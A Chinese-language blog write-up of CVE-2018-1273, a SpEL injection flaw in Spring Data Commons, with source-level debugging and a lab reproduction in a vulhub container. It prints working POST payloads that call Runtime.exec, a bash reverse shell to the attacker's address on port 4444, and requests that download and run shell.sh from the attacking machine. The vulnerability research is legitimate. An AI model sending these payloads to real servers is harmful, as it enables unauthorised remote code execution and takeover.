本文最后更新于 2024-09-25,文章内容可能已经过时。

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、漏洞简介

​ **Spring Data Commons 指定版本包含由于特殊元素的不正确中和而导致的属性绑定器漏洞。**未经身份验证的远程恶意用户(或攻击者)可以针对 Spring Data REST 支持的HTTP资源提供特制的请求参数或使用Spring Data的基于投影的请求进行有效负载绑定,这可能会导致远程执行代码攻击。

其实简单来讲就是 Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式进行远程代码执行。
该漏洞和Spring Cloud Function中的 SPEL 表达式注入漏洞很相似。

受影响版本:

  • Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)

  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

二、基础知识

2.1 Spring Data Commons

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。而此漏洞产生于 Spring Data Commons 组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

2.2 SpEL表达式

Spring表达式语言全称 Spring Expression Language,支持查询和操作运行时对象导航图功能.。语法类似于传统EL,而且供额外的功能,能够进行函数调用和简单字符串的模板函数。

表达式语法:

/*直接量表达式*/
#{5}
#{'abc'}
#{'true'}
/*引用Bean并使用其属性与方法*/ 
#{a}  						//a为bean的id
#{a.b}						//使用bean的属性
#{a.c()}					//使用bean的方法
/*引用类的常量与方法*/
//在SpEL中访问类作用域的方法和常量的话,可以使用T()
T(java.lang.Math).PI		//调用Math类的PI常量
T(java.lang.Math).random()	//调用Math类的random()方法

/*利用SpEL表达式进行命令执行(弹出计算器)*/
/*方法一:*/
T(java.lang.Runtime).getRuntime().exec("calc") 

/*方法二:(通过反射机制)*/
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")  

三、漏洞分析

3.1 环境搭建

通过Git命令获取源码

git clone https://github.com/spring-projects/spring-data-examples/

这里由于在2.0.5版本中拒绝使用了SpEl表达式,所以需要回退到一个较早且存在漏洞的版本

git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d

​ 此处使用官方的示例代码(https://github.com/spring-projects/spring-data-examples/),由于我们只需简单分析 Spring Data Commons 组件中漏洞点,所以无需部署整个示例项目。我们导入示例项目中的 web 模块下的 example 即可,我们下载好示例项目后,解压,然后只导入 web 下的 example 。

image-20221027152037501

​ 接着需要修改web/example中的pom.xml,将这个模块变为一个独立的项目。首先修改 parent 节点,指定使用版本为 2.0.0.RELEASE 的 Spring Boot ,该版本对应使用的就是含有此漏洞的 Spring Data Commons 2.0.5。

<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.0.0.RELEASE</version>
		<relativePath/>
</parent>

​ 添加如下两个依赖,前者让该模块成为一个独立的Spring Boot项目,因为程序中使用了lombok,所以需要引入后者。

<dependency>
        <groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
		<groupId>org.projectlombok</groupId>
		<artifactId>lombok</artifactId>
		<scope>provided</scope>
</dependency>

​ 为了方便,可以将 src 下的 test 目录删除,因为测试代码需要引入junit包。

​ 启动项目,访问 http://localhost:8080/users ,出现以下页面说明项目搭建成功。

image-20221028100328193

3.2 漏洞分析

​ 上述示例项目,主要是一个简单的注册页面,在这个项目中利用了 Spring Data 的相关 Web 特性,对输入参数(用户提交的form表单和key值)进行自动匹配,并进行相应处理。

​ 示例项目部署完成后,访问http://localhost:8080/users,注册一个用户,并使用 Brup Suite 抓包,修改POST 正文参数,如下:

image-20240925192043503

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=test&password=123456&repeatedPassword=123456

image-20240925192122873 发送请求,请求完成后,即可发现计算器弹出,说明存在Spring Data Commons 远程命令执行漏洞。

image-20221028101422516

​ 由于 Spring MVC 框架会处理来自前端的页面的请求,并根据请求进行数据的封装,这不是此次漏洞的重点,于是我们将断点设置在 org.springframework.data.web.MapDataBinder.MapPropertyAccessor 中的 setPropertyValue() 方法处,而后使用调试模式重新启动项目。

image-20240925193605302

当我们发送对应POST 请求之后,经过前面对应的数据处理,会到 setPropertyValue() 方法处,该方法会处理所有GET/POST请求的参数名与参数值。

image-20240925193656148

​ 在该方法中首先会调用 isWritableProperty() 方法,校验propertyName参数是否为 Controller 类中设置的Form 映射对象中的成员变量。

image-20240925194116554

​ isWritableProperty() 方法中会调用 getPropertyPath() 方法,判断propertyName参数是否为 UserForm 中的属性值。这里就是判断 getPropertyPath() 方法的返回结果值是否为空,若不为空则返回 true,否则flase。(如图,这里判断出了propertyName参数是UserForm 中的属性值,所以返回true)

image-20240925194519237

​ 这个方法在进行判断时,会去除后" [ ] "以及其包裹的内容,而后与 UserForm 中的属性值做对比,因此我们使用的 payload 可以校验成功返回非空的结果。

image-20240925194833859

image-20240925194930762

​ 当校验成功后,会进入 else 分支,实例化 StandardEvaluationContext 类,该类可以用于处理 SpEL 表达式,而后通过 PARSER.parseExpression() 来设置需要解析的表达式,这里并没有做任何过滤,而是直接设置解析的表达式。

image-20240925200455551

​ 布过几次后,发现,最后通过调用expression.setValue()对SpEL表达式进行解析,从而触发漏洞。

image-20240925202643311

image-20240925202437683

F8布过后,成功弹出计算器。

image-20240925202120791

​ 注意这里我们使用的 paylaod 是通过反射的方式去利用,若直接使用以下paylaod,是无法利用成功的。

T(java.lang.Runtime).getRuntime().exec('calc.exe')

​ 因为某些版本会识别 SpEL 表达式的关键词,并拒绝。所以要使用下面这种反射的方式进行利用:

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")

总的来说该漏洞就是是攻击者利用了 Sprng Data Commons 组件的相关特性对输入参数进行自动匹配时,会将用户提交的form表单和key值作为 SpEL 表达式的内容,而后执行,导致SpEL表达式注入漏洞。

四、漏洞复现

4.1 实验环境

攻击机:kali(ip:192.168.91.129)

被攻击主机:docker环境部署(ip:192.168.91.128)

漏洞环境:vulhub/spring-data-commons:2.0.5

搭建过程:

​ 1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)

​ 2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。

cd vulhub-master/spring/CVE-2018-1273/
docker-compose up -d

image-20240925203301499

​ 3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。

浏览器访问:http://192.168.91.128:8080/users/,如下即部署成功。

image-20240925203439783

4.2 复现过程

​ 在kali上的/tmp下编写一个shell脚本(shell.sh),用bash进行反弹shell,内容如下:

echo "bash -i >& /dev/tcp/192.168.91.129/4444 0>&1" >> /tmp/shell.sh

image-20240925203750041

​ 而后在kali的/tmp下,使用 “ python3 -m http.server ”,开启一个HTTP服务,访问 http://192.168.91.129:8000/ 查看有无对应文件,以便后续让服务器获取shell.sh

image-20240925203921584

image-20240925204112353

kali上开启nc监控4444端口。

image-20240925204028186

​ 访问http://192.168.219.206:8080/users,注册一个用户,并使用 Brup Suite 抓包,放于repeater模块汇总,

image-20240925204235208

image-20240925204302718

修改POST 正文参数后发送,如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget+http://192.168.91.129:8000/shell.sh")]=test&password=123456&repeatedPassword=123456

​ 发送完成后,再修改POST正文,让其执行shell.sh,如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+shell.sh")]=test&password=123456&repeatedPassword=123456

image-20240925204430825

而后查看kali,反弹shell成功。

image-20240925204450176

五、修复建议

更新Spring Data Commons版本为已修复漏洞版本。

六、参考文章

  1. 【漏洞分析】CVE-2018-1273: RCE WITH SPRING DATA COMMONS 分析报告(http://blog.nsfocus.net/cve-2018-1273-analysis/)。
  2. Spring RCE漏洞分析2(CVE-2018-1273)(https://blog.csdn.net/qsort_/article/details/105938025)。
  3. 代码审计-Spring Data Commons RCE分析(https://blog.csdn.net/cdyunaq/article/details/124274289)。